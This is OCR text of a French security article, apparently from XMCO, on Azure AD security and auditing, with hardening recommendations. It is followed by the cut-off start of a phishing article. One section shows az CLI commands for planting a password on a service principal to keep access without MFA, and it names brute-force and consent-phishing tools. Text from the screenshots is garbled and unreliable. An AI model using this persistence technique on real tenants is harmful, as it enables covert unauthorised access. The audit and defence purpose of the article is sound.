O O xmco-eopzumz © Yes Windows 100177630 Azure AD registered None NfA
[ OH peskror-GMedito © Yes Windows 10.0.18362.0 Azure AD registered None N
Affichage des appareils des utilisateurs depuis le portail Azure

active-directory/devices/

Plus d'informations sont disponibles sur le site de Microsoft a I'adresse suivante : https://docs.microsoft.com/en-us/azure/

. Active Directory
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Les différents types d'approvisionnement d'appareils dans Azure AD
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Les applications et les services principaux

Dans Azure AD, une application désigne la configuration de I'application (définition de I'application, des autorisations) tan-
dis que le service principal désigne l'objet de sécurité qui porte les autorisations.

Dans Azure AD, tout est application : Azure CLlI, le portail Office 365, Microsoft Graph, Office 365 Management APIs, Etc.

Un service principal ne peut pas exister sans une application. En effet, I'application a besoin d'un service principal pour
obtenir une identité pour la connexion et I'accés aux ressources au travers d’Azure AD. Lorsque vous créez vos propres appli-
cations dans votre tenant, vous maitrisez sa configuration. La définition de l'application et son service principal sont inclus
dans votre tenant. En revanche, lorsque vous utilisez les applications Microsoft Office 365, celles-ci sont définies dans un
Azure AD interne appartenant a Microsoft et seul le service principal sera créé dans votre propre tenant Azure. La situation
est similaire lorsqu’on utilise une application développée par une société externe.

Pour ajouter un peu plus de complexité, une application peut avoir plusieurs services principaux au travers de différents
tenants Azure. On parlera alors d’application multi-tenant.

Société développant I'application \ Client utilisant MyERP et ia\

MyERP suite Office 365
ol o
MyERF MyERP MyERF
application application application
Service principal Définition de I'application Servica pfir‘mipal
. ", X (identité)
(identité) (modéle) T
Office 365

Service principal
\ / \ (identits) /

Microsoft \

S
o (Ofice365 y,
g '

B G
Définition de I'application
(modéle)

\___ms

Définition d'applications multi-tenant

Il est possible de créer un service principal au travers de différents outils évoqués précédemment (portail Azure, module
PowerShell Azure AD et Az PowerShell, module PowerShell AzureRM (obsolete, remplacé par Az), CLI Azure et I’API Microsoft
Graph.

Un service principal peut utiliser un mot de passe ou un certificat pour se connecter a I’Azure AD.

rred format o

Création d'un service principal associé a l'application “test super app”
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Partie 2 - Azure AD et sécurité

Pour une instance de base Office 365, il y a plus de 250 applications définies. Une liste disponible a I'adresse suivante permet
d'avoir un apercu :
https://www.rickvanrousselt.com/azure-default-service-principals-reference-table/

Les autorisations des applications sont de deux types :

« Application : autorisations assignées au service principal de I'application, statiques et sans limites dans le temps ;

o Déléguées : autorisations qui nécessitent le consentement de l'utilisateur pour étre autorisées a agir au nom de I'utili-
sateur et disposent d’'une date d’expiration.

« Les roles (groupes privilégiés) qui peuvent gérer toutes les applications
sont les roles administrateur général et administrateur d’applications. Il est recommandé d’étre
vigilant sur ces réles, surtout les administrateurs d’applications qui concernent souvent plus d’uti-
lisateurs. »

Ces autorisations peuvent étre consultées depuis le portail a deux endroits distincts : depuis la vue de I'application et depuis
la vue du service principal de I'application.

Accueil > Default Directory > test super app

= test super app | APl autorisées =

|.'3 Rechercher (Cmd+/) « ) Actualiser 0 Des commentaires 7

i®  Vue d'ensemble 2 ; ;
A cette application utilise 'API Azure AD Graph, qui est en voie de dépréciation. A partir du 30 juin 2020, nous n'ajouterons plus de nouvelles for

& Démarrage rapide application pour utiliser 'AP1 Microsoft Graph au lieu de I'API Azure AD Graph pour accéder aux ressources Azure Active Directory. En savoir pli
#" Integration assistant
Autorisations configurées

Gerer. Les applications sont autorisées a appeler des APl quand elles regoivent des autorisations de la part des utilisateurs/administrateurs dans le

consentement, La liste des autorisations configurées doit comprendre toutes les autorisations dont I'application a besoin. En savoir plus sur

=
- consentement

| Personnalisation
—3 Authentification

T Ajouter une autorisation " Accorder un consentement d'administrateur pour Default Directory
Certificats & secrets

i . . . APl / noms des autorisations Type Description Consentement de ['...
1I' configuration du jeton
L ™ Azure Active Directory Graph (11)

== APl autorisées

Application.ReadWrite. All Application  Read and write all applications Oui
@ Exposer une AP i PP pelt

Directory.AccessAsUser All Déléguée  Access the directory as the signed-in user
4% Roles d'application | Preversion o 9 4 9
x o Directary.Read.All Déléguée  Read directory data Oui
¥ Propriétaires d 9 ry
N . A Directory ReadWrite All Déléguée  Read and write directory data Oui
© Réles et administrateurs | Prévers...
: Group.Read All Déléguée Read all groups Oui
Bl Manifeste i & grodp

Group. ReadWrite. All Déléguée  Read and write all groups Oui

Autorisations accessibles depuis la page de I'application “test super app”

Dans la capture ci-dessus, nous pouvons observer les autorisations de type application et déléguées, que I'application test
super app utilise au travers de I’API Active Directory Graph.

La capture ci-dessous liste des autorisations depuis le service principal de I'application test super app. La présence de ces
deux vues distinctes peut induire en erreur un administrateur lors de la revue des autorisations. En effet, il est possible d'at-
tribuer une autorisation directement au service principal d’'une application. Elle apparaitra au sein de la vue autorisation du
service principal, mais pas dans la vue APl permission de I'application.
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Accueil > Default Directory > Applications d'entreprise > test super app

o test super app | Autorisations

Application d'entreprise

() Actualiser " Révision des autorisations (7 Des commentaires ?
I Vue d'ensemble

l',],‘] Plan de déploiement Autorisations

. Les applications peuvent recevoir des autorisations d'accés & votre annuaire données par un administrateur qui consent 3 ['application pour tous les utilisateurs (consentement
Gérer lui méme (consentement de l'utilisateur) ou un administrateur gui intégre une application et active 'accés en libre-service, ou affecte directement des utilisateurs a 'applicatior
N propristés consentement au nom de tous les utilisateurs de cet annuaire, en veillant a ce que les utilisateurs finaux ne soient pas priés de donner leur consentement lors de l'utilisation de
E P consentement de I'administrateur,

& Propriétaires En tant qu'administrateur, vous pouvez donner un consentement au nom de tous les utilisateurs dans ce répertoire, en vérifiant que les utilisateurs finaux ne doivent pas donne

L Cliguez sur le bouten ci-dessous pour donner le consentement d’administration.
di. Riles et administrateurs (prév...

£& Utilisateurs et groupes || Accorder un ¢ d'admini pour Default Directory

3 Authentification unique

Cr ent de |'admini ir - Consentement de l'utilisateur

Approvisionnement

/' Rechercher dans les autorisations

™ Proxy d'application

i ; +, isati N
© bidsanice MNom de I'API . Autorisation 4 Type
Microsoft Graph
Sécurité
Microsoft Graph Submit application packages to the catalog and cancel pending su...  Delegated
¥ Accés conditionnel
5 Microsatft Graph Read all app catalogs Delegated
« Autorisations
Micresaft Graph Read and write approvals Delegated
Chiffrement du jeton
Micresoft Graph Read approvals Delegated
Activité
i Microsoft Graph Read and write all applications Delegated
D Connexions Microsoft Graph Read applications Delegated

Autorlsatlons accessibles depuis la page du service principal de l'application “test super app”

Note : il n'est pas possible de connaitre les autorisations positionnées sur les applications Microsoft depuis le Portail.

Gérer
Autorisations configurées
= Personnalisation
Les applications sont autorisées & appeler des APl quand elles regoivent des autorisations de la part des utilisateurs/administrateurs dans le cadre du prmessus de
D Authentification La liste des isations configurées doit comprendre toutes les autarisations dont I'application a besein, En savair plus sur les autorisations et le
consentement

Certificats & secrets
i Aetordes un corsenbsrent

" Configuration du jeton

= APl autorisées Type Description Consentement de I'admin... Statut

@ Exposer une API

B Propriétaires Débéguée  Sign in and read user profile |

& Rbles et administrateurs (prévers., e Office 355 Management APl (1

M Manifeste I tivityFeed Read Application  Read activity data for your erganization | Oui A Pas accordé pour

Support + dépannage

Définition des permissions d’'une application dans Azure AD

Microsoft n'a pas rendu simple la compréhension des permissions avec des différences de terminologie entre I'API et le
portail.

Voici un tableau de correspondance issue d'une présentation du chercheur Dirk-jan Mollema a la BlueHat 2019 [7].

API definition Portal terminology

Every application defines: App registration:
OAuth2 permissions - Delegated permissions
- Application roles - Application permissions
An application requires: App registration:
Resource access - API permissions
A service principal has: An enterprise application has:
- OAuth2 permission grants - Delegated permissions
- Application roles - Application permissions

Tableau de correspondance des termes API/Portail Azure

Les roles (groupes privilégiés) qui peuvent gérer toutes les applications sont les réles administrateur général et administra-
teur d'applications. Il est recommandé d'étre vigilant sur ces roles, surtout les administrateurs d’applications qui concernent
souvent plus d’utilisateurs.

Lors d'une compromission d’un Azure AD, un attaquant qui dispose de I'un de ces rOles est en mesure d'attribuer un mot de
passe a un service principal qui dispose d'autorisations importantes.
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Ensuite, il pourra se connecter avec ce service principal pour maintenir un accés a l'environnement en toute discrétion, et ce,
sans authentification multi-facteurs qui n'est pas compatible avec les services principaux.

= ~ az ad app credential reset --id 9adecca2-5271-4bcb-bc50-535bea72c9cl
{

"appId": "9adeccaz-5271-4bc6-bc50-535bea72c9cl”,

"name": "9adeccaZ-5271-4bcb-bc50-535bea72c9cl",

"password": "1dWUbg3P4EqB~MAMtWNvmE6ZDR_at8gWlxH",

"tenant": "cfabae3e-1948-460c-acc6-ca9148d@3ae5"

Génération automatique d'un mot de passe pour un service principal

Une autre méthode permet d'attribuer un mot de passe arbitraire a un service principal :

az ad app update --id 9adeccaz-5271-4bcb-bc50-535bea72c9cl --password MySuperPass

Génération manuelle d'un mot de passe pour un service principal

Lorsqu’un service principal d'une application possede un mot de passe, I'attribut PasswordCredential est renseigné pour
I'application (sans révéler le mot de passe) :

"passwordCredentials": [
{

"additionalProperties": null,
"customKeyIdentifier": null,
"endDate": "2021-09-01T10:06:10.056471+00:00",
"keyId": "3c9a06c8-81d6-489a-b699-dlf4adco4828",
"startDate": "2020-09-01T10:06:10.056471+00:00",
"value": null

Attribut correspondant au mot de passe de 'application my-super-app

Il sera ensuite possible de se connecter en utilisant les API :

<+ ~ gz login --se principal -u https:/, “-app -p My 5 --tenant adm

Connexion avec un service principal avec Azure cli
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Dés lors, les actions possibles dépendent des autorisations attribuées a I'application. Il sera bien évidemment intéressant
pour un attaquant d’utiliser une application disposant d’'un nombre important d’autorisations.

Accueil > Default Directory > test super app

= [test super app | APl autorisées| =

) Des commentalres 7

£ Rechercher (Cmd+/) | « 0 Actualiser

B vue densemble - . :
@ Consentement afyministrateur donné pour les autorisations demandées

Démarrage rapide

#" Assistant Intégration (préversion) £ Cette application utyise I'API Azure AD Graph, qui est en voie de dépréciation. A partir du 30 juin 2020, nous n‘ajouterons plus de nouvelles fonctionnalités & 'API Azure AD Graph. Nous vous recommandons f
lieu de I'AP| Azure AR Graph pour accéder aux ressources Azure Active Directory. En savoir plus

Gérer

= Personnalisation Autorisations configuréds

Les applications sont autorisée} & appeler des AP quand elles recoivent des autorisations de la part des utilisateurs/administrateurs dans le cadre du processus de
consentement. La liste des autofsations configurées doit comprendre toutes les autorisations dent l'application a besoin. En savoir plus sur les autorisations et le
consentement

3 Authentification
Certificats & secrets
! Configuration du jeton T~ Ajouter une autorisation Accorder un consentement d'administrateur pour Default Directory

9 APl autorisées

API / noms des autorisation: Type Description Consentement de I'... Statut
& Exposer une API “ Azure Active Directory Graph (10)
i Propriétaires Directory.AccessAsUser.All Déléguée  Access the directory as the signed-in user - @ Accordé pour Default Di =+
i Réles et administrateurs (prévers Directory.Read.All Déléguée  Read directory data Qui @ Accordé pour Default Di
W Mantfests Directory.ReadWrite Al Déléguée  Read and write directory data oui @ Accordé pour Default Di_ =+
Support + dépannage Group.Read All Déléguée  Read all groups Qui @ Accordé pour Default Di
& Résolution des problémes Group.ReadWrite All Déléguée  Read and write all groups Oui @ Accordé pour Default i -+
I Nouvelle demande de support Member.Read Hidden Déléguée  Read hidden memberships Oui @ Accordé pour Default Di
Policy.Read.All Déléguée  Read your organization's policies Oui @ Accordé pour Default i, +=-
User Read Déléguée  Sign in and read user profile - @ Accordé pour Default Di
User.Read.All Déléguée  Read all users' full profiles Oui @ Accordé pour Default Di »=+

Extrait de la liste des autorisations accordées a l'application "test super app”

Un article de la société Synacktiv [8] explique également comment créer un service principal en PowerShell avec un mot de
passe pour assurer un moyen de persistance.

Un des moyens utilisés par un attaquant afin d'élever ses privileges sur Azure AD consiste a utiliser un compte administrateur
d’une application dont le service principal dispose de plus de priviléges que lui. Au travers de la méme technique que la
persistance, il pourra se connecter avec le service principal et bénéficier de ses permissions.

Des applications Microsoft ont des autorisations trés importantes sur I'environnement Azure AD.

Microsoft a renforcé sa sécurité en ne permettant plus de visionner le mot de passe d’un service principal au travers des API.
Le mot de passe est uniquement affiché a la création du service et il est nécessaire de le réinitialiser en cas d'oubli.

bastien’

StartDate
Value

Le mot de passe nest plus affiché au travers de I'API Azure

Note :

Est-ce que les services principaux avec un mot de passe sont toujours malveillants ? Non

Il existe beaucoup de cas d’utilisation ou il peut étre intéressant de se connecter avec un service principal. C'est le cas no-
tamment dans l'utilisation des ressources Azure (ARM). Néanmoins, nous n‘avons pas identifié de cas Iégitime ou le service
principal d'une application Microsoft aurait besoin d’'un mot de passe assigné.

\II

R6 : En cas de compromission d'un Azure Active Directory, il estimportant de ne pas omettre d’auditer les

_{r
,_\ services principaux pouvant servir a la persistance des attaquants.
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> Gestion des acces

Comme évoqué dans la premiére partie, les acces a Azure AD peuvent étre effectués au travers de différentes méthodes : le
portail Azure, les modules Powershell, Azure CLI et les APIs.

Accueil >

Default Directory | Vue d'ensemble

Azure Active Directory

@ Changer de locataire il Supprimer le locataire  — Créer un locataire [ & 42| Fancti lités de la version préliminaire <7 Des commentaires 7

O Vue densemble

“ Prise en main
0 Azure Active Directory peut vous aider 3 activer le travail 3 distance pour vos employés et partenaires. En savoir plus
I Hub préversion

#. Diagnostiquer et résoudre les ... &
Default Directory

Gérer R - -
| = Rechercher dans votre locataire

& Utilisateurs

b Informations sur le
& Groupes 3 ) &7 Azure AD Connect
locataire
B identités externes
Votre rdle Statut
ar. Réles et administrateurs Administrateur général Mon active
Infarmations supplémentaires
& Unités administratives 7 A
Licence Derniére synchronisation
B Applications d'entreprise Azure Active Directory Free Synchronisation jamais exécutée
§ Appareils 12 de locataire
chabae 6-casla.

B inscriptions d'applications

. Domaine principal
(&) Gouvernance des idertités

.onmicrosoft.com
' Prowy d'application \
Gestion des différents composants

w  Licences

Connexions

b Azure AD Connect 1
6

Interface Active directory du Portail

Linterface la plus facile a utiliser est le portail Azure qui permet la gestion des utilisateurs, des groupes, des réles, des appli-
cations, appareils, etc. Les API sont en revanche trés pratiques pour automatiser les taches d’administrations ou récupérer
de l'information.

Note : Par défaut, tous les utilisateurs ont accés au portail Azure de votre organisation. Il est néanmoins possible de res-
treindre son acces.

L'authentification des utilisateurs sur le portail ou au travers des API peut étre renforcée via une authentification multi-fac-
teurs et des accés conditionnels.

R7 : Bloquer I'acces au portail Azure pour les utilisateurs non-administrateur.
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L'authentification multi-facteur (MFA)

Les utilisateurs d'Office 365 sont régulierement la cible de campagnes de phishing. Le nombre de comptes Office 365 sous
licence ayant dépassé les 250 millions en 2020, ceci constitue une cible trés intéressante en termes de volume d’emails. Plu-
sieurs groupes d'attaquants dont le célébre groupe APT 28 en ont fait leur spécialité.

L'une des premiéres mesures de protection face au phishing est I'authentification multi-facteurs. Activée par défaut pour
tous les utilisateurs pour les nouveaux tenants depuis le 22 octobre 2019, celle-ci constitue le premier rempart de sécurité
indispensable pour votre Azure AD.

authentification multifacteur
tilisateurs parameétres du service

lemarque : seuls les utilisateurs bénéficiant d'une licence d'utilisation pour Microsoft Online Services sont éligibles pour Multi-Factor
ictroyer des licences a d'autres utilisateurs.
want de commencer, consultez le guide de déploiement de |'authentification multifacteur.

Affichage : Connecter les utilisateurs autoris¢ v ,O Etat Multi-Factor Authentication :  Tous v mettre a jour

; ETAT MULTI-FACTOR
] NOM COMPLET NOM D'UTILISATEUR AUTHENTICATION
476aa3 Désactivé
] Bastien onmicrosoft.com Appliquée

Etat de l'authentification multi-facteurs par utilisateur

Diverses méthodes de MFA existent : application d’authentification (telle que
Microsoft Authenticator), SMS ou appels vocaux.

Ef]

Lorsqu’un poste de travail est enrélé dans Azure AD avec un compte Microsoft,
des méthodes d'authentification sans mot de passe sont également proposées
(Windows Hello, application Microsoft authenticator ou une clé de sécurité N

" R X . . . Notifications enabled
FIDO2). Plus d'informations sont disponibles sur le site de Microsoft : https:// N O A A S P RIS
docs.microsoft.com/en-us/azure/active-directory/authentication/concept-au- verify your sign-ins
thentication-passwordless

john.doe I .com

One-time password code

Le MFA peut étre configuré avec I'accés conditionnel (cf. partie V), cest-a-dire = B3() 452

qu'il sera exigé uniquement dans certaines conditions (connexion depuis une

adresse IP inconnue, connexion depuis un emplacement inconnu, etc.). Une  [&, Enable phone sign-in

configuration affinée permettra d'étre moins contraignant pour I'utilisateur

final Application mobile Microsoft Authenticator

R8 : Mettre en place l'authentification a facteurs multiples (MFA) pour tous les utilisateurs et en priorité
sur les comptes administrateurs.

R9 : Prévoir deux comptes de secours [9] administrateurs :

«  Un compte avec le MFA, mais aucun accés conditionnel
«  Un compte sans MFA, mais avec un acces conditionnel (ex. : adresse IP source)

L'utilisation de clé FIDO2 est intéressante pour les comptes de secours.
Microsoft recommande de limiter le nombre d'administrateurs généraux a 4 comptes maximum.

Néanmoins, tous les anciens protocoles disponibles dans Azure ne sont pas compatibles avec I'authentification multi-fac-
teurs. On parle alors d’authentification héritée (legacy). L'authentification héritée ou legacy fait référence a une authentifi-
cation qui ne supporte pas le MFA. Celle-ci est généralement utilisée pour les protocoles mail (IMAP, SMTP, ou POP3), mais
également par d'anciennes suites Office, ou autres authentifications de type Basic.
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L'utilisation de I'authentification héritée permet a un attaquant de réaliser des attaques par force brute méme si I'authentifi-
cation multi-facteurs est activée. De nombreux outils disponibles sur Internet permettent de réaliser des attaques par force
brute en exploitant ce défaut de configuration.

Voici une liste non exhaustive :

+  Ruler (Exchange) : https://github.com/sensepost/ruler/wiki/Brute-Force

«  SprayingToolkit (Lync/Skype for Business/OWA) : https://github.com/byt3bl33d3r/SprayingToolkit
«  LyncSniper (Lync/Skype for Business) : https://github.com/mdsecresearch/LyncSniper

«  MailSniper (OWA/EWS) : https://github.com/dafthack/MailSniper

R10 : Bloquer I'authentification héritée au travers d’un accés conditionnel ou en activant les parametres

de sécurité par défaut. Les tenants ouverts aprés le 22/10/2019 bloquent par défaut l'authentification
héritée

Depuis 2016, des attaques de phishing plus avancées, basées sur les je- Permissions requested

tons d’authentification OAuth2, ont été observées [10]. Les attaquants Accept for your organization
trompent leurs victimes en leur présentant une fausse application qui I Salesforce Dffice 365
demande des autorisations Office 365. theacme.io

, . . . . . Thi Id like to:
Le but est d'obtenir un jeton permettant d’accéder aux informations de = appwonid e fo

I'utilisateur (email, contacts, téléchargement de documents OneDrive) W Red ancdte al appications

voire d'effectuer des actions (envoyer un message sous l'identité de “~ Read and write directory data
I’utiIisateur, modifier son pl’Oﬁl, etc.). w  Use Exchange Web Services with full access to all
mailhoses

Lattaquant ne possede donc pas le mot de passe de la victime, mais Read and write calendars in all mailbaxes
un jeton avec des autorisations et avec une durée limitée. L'avantage
de cette technique est qu'elle permet de contourner l'authentification

multi-facteurs.

Read and write contacts in all mailboxes
Read and write all user mailbox settings
Read and write mail in all mailboxes

Des frameworks tels que MDSec [11] ou PwnAuth [12] ont été créés Send mail as any user

pour simuler des campagnes de phishing. Read all users' full profiles

L I I R ¢

Sign in and read user profile

Exemple d’une fausse application SalesForce qui de-
mande des autorisations

R11 : Limiter les demandes d'acces aux API réalisables par les applications tierces. Les applications tierces
autorisées dans une organisation peuvent également étre basées sur une liste blanche.

R12 : Effectuer une revue réguliere des applications ayant des autorisations déléguées. En cas de suspi-
cion, un administrateur pourra bloquer I'application tierce et révoquer les jetons associés.
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Les accés conditionnels

Les accés conditionnels sont un mécanisme de sécurité trés intéressant qui vient renforcer le contréle d'accés aux ressources
et aux applications Azure. Microsoft fournit ainsi une approche de modéle Zero Trust (le Zero Trust ne considere aucun réseau
digne de confiance et a pour but d’authentifier tous les flux réseau, utilisateurs et terminaux afin de contréler les accés).

Par défaut, les services Azure/Office 365 sont accessibles depuis Internet et ce depuis nimporte quelle connexion. Laccés
conditionnel renforce le contréle d'accés en appliquant des exigences d'accés. Voici quelques exemples :

- Exiger I'authentification multi-facteurs pour les utilisateurs avec des réles administrateurs ;

«  Bloquer les protocoles d'authentification hérités (legacy) ;

«  Exiger que l'appareil de I'utilisateur qui se connecte soit conforme (géré par I'entreprise) ;

«  Autoriser les accés uniquement depuis une localisation précise ;

«  Bloquer les authentifications a risque.

R13 : Mettre en place au plus tot les acces conditionnels. Il est en effet plus difficile de les mettre en place
a posteriori d aux blocages sur des utilisations de certaines équipes métiers que cela peut engendrer. l|
conviendra d'adapter ces acces conditionnels (et le MFA) aux différents cas d'usages dans votre organi-
sation.

osoft Azure B Search resources. services, and docs

Home * Contoso > Conditiohal Access - Policies

%= Conditional Access - Policies

ammm  Anure Active Direchony

* + MNew policy i What If W Got feedback?

“= Policies
o Interested in understanding the impact of the policies on a user sign-inf? Check oul the “What If” taol, =
Manage
. POLICY NAME EMABLED
Named locations

' Custom controls [preview) Baseline policy: Require MFA for admins (Preview)
B Terms of use Baseline policy: End user protection (Preview) s
% VPN connectivity Baseline policy: Block legacy authentication (Preview)
52 Classlc polics Baseline policy: Require MFA for Service Management [Preview) o
Troublashooting + Support Comman Policy - Require MFA for administrators W
X Troubleshoat Common Palicy - Require MFA for Azure management e

w  MNew support request

Commeon Policy - Block legacy authentication

Accés conditionnels listés sur le portail Azure

R14 : Renforcer l'authentification en exigeant que I'appareil soit conforme pour accéder aux applications.

Offre minimum requise : AD Premium P2

La surveillance

La trace des connexions est primordiale afin de pouvoir détecter une attaque en cours ou effectuer une recherche lors d’'une
réponse a incident. Azure AD dispose d’'un mécanisme de journalisation des connexions. Néanmoins, ces derniers sont uni-
quement conservés entre 1 et 3 mois et il n'y a aucun mécanisme par défaut de gestion d'alerte.

La plupart des solutions d’agrégation de logs et SIEM du marché sont compatibles avec les logs Azure AD et peuvent fa-
cilement les récupérer au travers des API. Microsoft propose également sa propre solution Azure Sentinel qui est un SIEM
permettant la recherche avancée, la gestion des alertes et I'analyse.

R15 : Envoyer les logs vers un serveur distant ou un SIEM. La journalisation des connexions sera précieuse

en cas de réponse a incident et peut permettre de détecter des comportements malveillants.
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> Auditer un Azure AD
Nous avons vu les différents éléments d’'un Azure AD ainsi que les différentes méthodes pour y accéder.

Apres avoir recueilli les informations sur le contexte de I'audit de l'audité et son utilisation de I’'Azure AD, I'auditeur aura be-
soin de I'esemble des informations techniques pour réaliser sa prestation.

Les points de contréle

Voici une liste non exhaustive de points de contréle a vérifier lors d’'un audit Azure AD. Ces points devront étre adaptés en
fonction des cas d'usages et du contexte de 'audit.

Points de controle Objectifs

Vérifier les conventions de nommage, des comptes de service, des

Gestion des comptes et groupes . .
P group comptes inactifs, les appartenances aux groupes, etc.

Enumérer des comptes d’administration et des comptes de services

Gestion des roles R
privilégiés.

Vérifier la présence d'authentification forte (MFA) et d'accés condi-

Authentification } ; ; Py )
Y ! ! tionnels. Analyser les authentifications héritées (legacy) existantes.

Vérifier I'attribution et la gestion des autorisations pour les utilisa-

Autorisations o
teurs, les applications et les groupes Azure AD.

S'assurer que les connexions sont journalisées et envoyées a un sys-

Journalisation R
téeme central.

Appliquer une configuration renforcée d’Azure AD (limitation d'accés

Renforcement ) N L
au portail, controle des invitations, etc.).

Les outils

Nous avons décrit les différentes méthodes d’accés aux environnements Azure AD (Portail, API). Voici quelques outils qui
reposent sur les APl Azure et qui permettent de collecter des informations intéressantes sur Azure AD.

e MicroBurst: https://github.com/NetSPI/MicroBurst

e Roadrecon : https://github.com/dirkjanm/ROADtools

o ScoutSuite : https://github.com/nccgroup/ScoutSuite

o Script de revue des autorisations : https://gist.github.com/psignoret/41793f8c6211d2df5051d77ca3728c09

Note : Certains de ces outils comme MicroBust ou ScoutSuite traitent également de la partie ressource d’Azure (machines
virtuelles, stockages, base de données, etc.) qui ne sont pas abordés dans cet article.

Pour les audits Azure AD, l'outil ROADrecon est trés pratique et permet d’avoir un apercu bien plus rapide des différents élé-
ments que le portail. Il réalise une collecte des informations depuis I'’API Azure AD et stocke les données dans une base locale
SQLite pour un acces hors ligne. Une interface web va ensuite récupérer les informations dans cette base pour les afficher.
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¢ ‘“ ROADrecon

Home
Database Stats Tenant information Tenant Domains
Users Users 60 Name
Groups 66 Tenant ID 6eb23038-3de2-4210-850c-127f6 705377 Hame Type Capabiities Frogerties
Groups Applications 1 Syncs from AD Mo
Sm_dcsﬁhlclpuls 295 fl.com d Email, OfficeC Online Default Initial
Devices a §
Devices View Raw
Directory roles
Applications

Service Principals

Anolication roles

Page d'accueil au lancement de 'outil ROADrecon

Roadrecon utilise la méme API Azure AD Graph que le portail Azure pour récupérer les données. Cette APl interne n'est pas
documentée et permet de récupérer des informations que I’API officielle ne peut pas fournir.

ROADrecon

Filtat

Permet d'identifier rapidement les

Home teams i : : s g ;
autorisations deleguees par application

Users -

Mame Type Publisher Microsoft app Passwords Keys Roles defined \‘ OAuthZ Permissions <
Groups

Microzoft StaffHub Application  Microsoft Services \/ 16
Devices

Microsoft Teama Retail Service Application  Microsoft Services e § 4
Directory roles

Microsoft Teams Templates Service Application  Microsoft Services v 3 3
Applications _

Microsoft Teams Graph Service Application v 2 3
Service Principals

Teams Liser Engagement Profile Service Application  Microsoft Services v 2
Application roles

Microsoft Teams Bots Application  Microsoft Services v 2
OAuth2 Permissions

App Studio for Mierosoft Teams Application  Microsoft Services e 2

Microsoft Teams Services Application  Microsoft Services e 4 2

Skype and Teams Tenant Admin AP| Application  Microsoft Services ' 3 2

Liste des services principaux (principals) et leurs autorisations

Dans le cadre de cet article, un plug-in a été développé pour l'outil Roadrecon permettant de faire facilement des exports des
données au sein d'un fichier au format CSV ou au format Excel (disponible sur le Github XMCO).

Un autre service que propose Microsoft est le Secure Score [13] qui fournit un score de sécurité en fonction de vos différents
parametres de sécurité. Un plan d'action est également fourni.

Darnier scone caloulé de 12015 100 AR

Niveau de sécurité Microsoft

Vue d'ensemble  Actions d'amélioration  Historique  Mesures et tendances

Le service Niveau de sécurité Microsoft représente I'état de la sécurité de votre entreprise et vous indique comment 'améliorer.

Filtres appligués: NS¢ Filtrer
Votre niveau de sécurité Inclure - Actions a examiner
- Diminutien @ A traiter Planifié Risgue accey Récemment ajouté @ Récemment mis(es) 4 j Lo}
Secure Score : 19.83% OI 16 o“" fe 0 : 0 o
11.5/58 pemts gagnés
100% — - - - y = _
Principales actions damélioraion  Plan d'actions proposé par Microsoft
et Action d'amélioration Impact sur be score Etat Catégorie
Activation de la ie pour &cher I'authentifi héritée +1379 % ) A traiter Idenitité
Gl Mots de passe sans expiration SENCTS ) A trater idantite
Répartition des points pur :  Catégorie o Activation de la stratégie de connexion & risque 1207 % (2 A traiter Irentité
W Puints gagnés Opportunité
Activation de la stratégie d'utilisateur 3 risgque L1207 % O Atraiter identité
Exiger l'authentification multifacteur pour les réles administratifs FI7.24 % A tranter Identité
S'assurer que tous les utilisateurs peuvent terminer I'authentification ... 5.52% ) Atranter Idderitité

Microsoft Secure Score
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Partie 2 - Azure AD et sécurité

A |
Dans lI'implémentation des recommandations, Microsoft précise dans les conditions préalables si la licence que I'on dispose
permet de les appliquer.

Implémentation

Conditions préalables
~" Vous disposez d’Azure Active Directory Premium P2.

Licence requise pour appliguer une recommandation

> Conclusion

Azure Active Directory est essentiellement utilisé pour gérer les utilisateurs sur les plateformes Azure et Office 365. Bien qu'il
comporte le nom d’Active Directory, il na jamais eu la prétention de remplacer les Active Directory on premise. Ses usages
sont différents et nécessitent d'étre définis en amont, comme toute nouvelle brique qu’on ajoute au SI.

Les évolutions récentes du composant AD Connect montrent une réelle volonté de la firme de Richmond de simplifier I'inté-
gration des Active Directory on premise dans Azure afin d'étendre le SSO d'entreprise pour les applications cloud. En termes
de sécurité, Azure AD propose de multiples avantages (protections d'identité, acces conditionnel, etc.) dont peuvent béné-
ficier toutes les applications.

Néanmoins, I'exposition étendue d’une partie du S| sur Internet nécessite une vigilance accrue. Par ailleurs, I'évolution per-
manente des services Azure / Office 365 nécessite un suivi continu avec une organisation interne et une stratégie définie.
Enfin, le MFA, les acces conditionnels et le principe du moindre privilege pour les roles d’administration constituent une
premiére barriére efficace contre le risque de compromission.
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Phishing, spear phishing et PDF

La période de crise sanitaire liée a la COVID-19 a été accompagnée d'une augmentation significative des risques liés a
I'utilisation d’Internet. En effet, les mesures de sécurité sanitaires mises en place ont impliqué une augmentation de I'ex-
position des utilisateurs et des entreprises sur Internet.

La quantité de mails de phishing a augmenté de plus de 600% entre le mois de février et mars 2020 [1], les attaquants
utilisant le contexte actuel afin d'augmenter la crédibilité des messages. Cette tendance s'accompagne logiquement de
I'augmentation d'attaques sophistiquées envers les entreprises et entités gouvernementales : 65% des groupes d'atta-
quants utilisent des techniques de spear phishing comme vecteur d’attaque [2].

Dans cet article, nous présenterons les différentes techniques de phishing utilisées par des groupes d’attaquants afin
d'accéder a des systemes d'information.

Par Tom TRIBOULOT

Le spear phishing et PDF

> Introduction Afin d'augmenter leur crédibilité vis-a-vis de leur cible, les

attaquants peuvent utiliser différentes techniques pour

usurper une identité :

«  Le typosquatting, c'est-a-dire le fait de reproduire un
nom ou une adresse légitime en modifiant intelligem-
ment un caractere. Par exemple, un typosquatting de
xmco.fr pourrait étre xmcO.fr;

«  Lamodification des en-tétes des emails : il est possible
dans certains cas de modifier I'adresse source d'un
mail afin d'utiliser une adresse qui semble [égitime ;

- Lutilisation d'un compte compromis : si un attaquant
réussit a obtenir I'accés a un compte légitime, ce der-
nier peut l'utiliser afin d’usurper son identité.

Phishing et spear phishing

Le phishing, ou hameconnage en francais, correspond a
une technique utilisée par des attaquants afin d'inciter les
utilisateurs ciblés a réaliser certaines actions.

Pour ce faire, les attaquants vont généralement usurper

I'identité d'institutions, d'entreprises ou de personnes de
confiance afin de faire baisser la vigilance des victimes.
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Le spear phishing, ou harponnage en francais, désigne
une variante du phishing utilisant des techniques avan-
cées d'ingénierie sociale. Les attaques de spear phishing
vont généralement se concentrées sur une cible précise
ou un groupe d'individus spécifique afin d'augmenter les
chances de succes de l'attaque.

Les attaquants vont personnaliser les messages envoyés a
I'aide de certaines informations propres a I'utilisateur ou
au groupe d'individus ciblés. Ces informations peuvent
étre disponibles publiquement, comme sur les réseaux so-
ciaux, ou peuvent provenir de précédentes attaques.

« 73 millions de nouveaux PDF seraient sauve-
